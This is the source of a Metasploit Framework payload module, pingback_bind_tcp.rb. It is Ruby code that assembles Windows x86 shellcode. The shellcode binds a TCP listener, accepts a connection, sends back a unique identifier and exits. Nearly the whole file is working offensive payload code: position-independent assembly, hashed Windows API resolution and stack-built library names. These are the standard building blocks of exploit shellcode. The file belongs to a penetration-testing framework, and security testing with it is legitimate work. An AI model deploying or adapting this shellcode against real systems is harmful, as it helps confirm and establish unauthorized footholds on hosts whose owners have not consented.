metasploit-framework/modules/payloads/singles/windows/pingback_bind_tcp.rb

153 lines
6.3 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 314
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Payload::Pingback
include Msf::Payload::Windows::BlockApi
include Msf::Payload::Pingback::Options
include Msf::Payload::Windows::Exitfunk
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows x86 Pingback, Bind TCP Inline',
'Description' => 'Open a socket and report UUID when a connection is received (Windows x86)',
'Author' => [ 'bwatters-r7' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::Pingback
))
def required_space
# Start with our cached default generated size
space = cached_size
# EXITFUNK 'seh' is the worst case, that adds 15 bytes
space += 15
space
end
def generate(_opts = {})
encoded_port = [datastore['LPORT'].to_i,2].pack("vn").unpack("N").first
encoded_host = Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
self.pingback_uuid ||= self.generate_pingback_uuid
uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
conf = { exitfunk: datastore['EXITFUNC'] }
addr_fam = 2
sockaddr_size = 16
asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the newly connected clients socket
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
bind_tcp:
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
push 0x5F327377 ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this struct
push eax ; push the wVersionRequested parameter
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
call ebp ; WSAStartup( 0x0190, &WSAData );
push 11
pop ecx
push_0_loop:
push eax ; if we succeed, eax will be zero, push it enough times
; to cater for both IPv4 and IPv6
loop push_0_loop
; push zero for the flags param [8]
; push null for reserved parameter [7]
; we do not specify a WSAPROTOCOL_INFO structure [6]
; we do not specify a protocol [5]
push 1 ; push SOCK_STREAM
push #{addr_fam} ; push AF_INET/6
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call ebp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
; bind to 0.0.0.0/[::], pushed earlier
push #{encoded_port} ; family AF_INET and port number
mov esi, esp ; save a pointer to sockaddr_in struct
push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
push esi ; pointer to the sockaddr_in struct
push edi ; socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
call ebp ; bind( s, &sockaddr_in, 16 );
test eax,eax ; non-zero means a failure
jnz failure
; backlog, pushed earlier [3]
push edi ; socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')}
call ebp ; listen( s, 0 );
; we set length for the sockaddr struct to zero, pushed earlier [2]
; we dont set the optional sockaddr param, pushed earlier [1]
push edi ; listening socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')}
call ebp ; accept( s, 0, 0 );
push edi ; push the listening socket
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
call ebp ; closesocket( s );
send_pingback:
push 0 ; flags
push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID
call get_pingback_address ; put pingback_uuid buffer on the stack
db #{uuid_as_db} ; PINGBACK_UUID
get_pingback_address:
push edi ; saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
call ebp ; call send
push edi ; push the listening socket
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
call ebp ; closesocket( s );
handle_connect_failure:
; decrement our attempt count and try again
dec dword [esi+8]
jnz failure
cleanup_socket:
; clear up the socket
push edi ; socket handle
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
call ebp ; closesocket(socket)
failure:
^
if conf[:exitfunk]
asm << asm_exitfunk(conf)
end
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
end
end
end